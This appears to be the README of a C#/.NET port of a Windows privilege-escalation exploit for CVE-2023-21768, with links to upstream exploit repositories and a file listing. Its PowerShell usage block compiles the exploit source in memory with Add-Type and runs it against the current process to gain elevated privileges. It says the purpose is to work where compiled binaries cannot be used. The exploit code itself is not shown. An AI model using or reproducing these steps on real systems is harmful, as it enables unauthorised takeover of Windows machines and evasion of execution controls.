C# / .NET version of CVE-2023-21768# CVE-2023-21768 - Dotnet
Dotnet / c# port of AFD-for-WinSock-EoP exploit
References:
- https://github.com/zoemurmure/CVE-2023-21768-AFD-for-WinSock-EoP-exploit
- https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768
## Why?
Sometimes you can't use compiled binaries.
## How to?
```powershell
$PWSH_PID = ([System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -ExpandProperty ID)
echo "[*] Current powershell PID: $PWSH_PID"
echo "[+] Compiling EoP exploit"
Add-Type -Path eop.cs -CompilerOptions "-unsafe"
echo "[+] Triggering exploit"
[XOR.EoP]::Run($PWSH_PID)
echo "[+] Exploit finished"
```
[4.0K] /data/pocs/6d32bda0e0be4e1597d3e0013c1d2df016a7584d
├── [ 58K] eop.cs
└── [ 622] README.md
0 directories, 2 files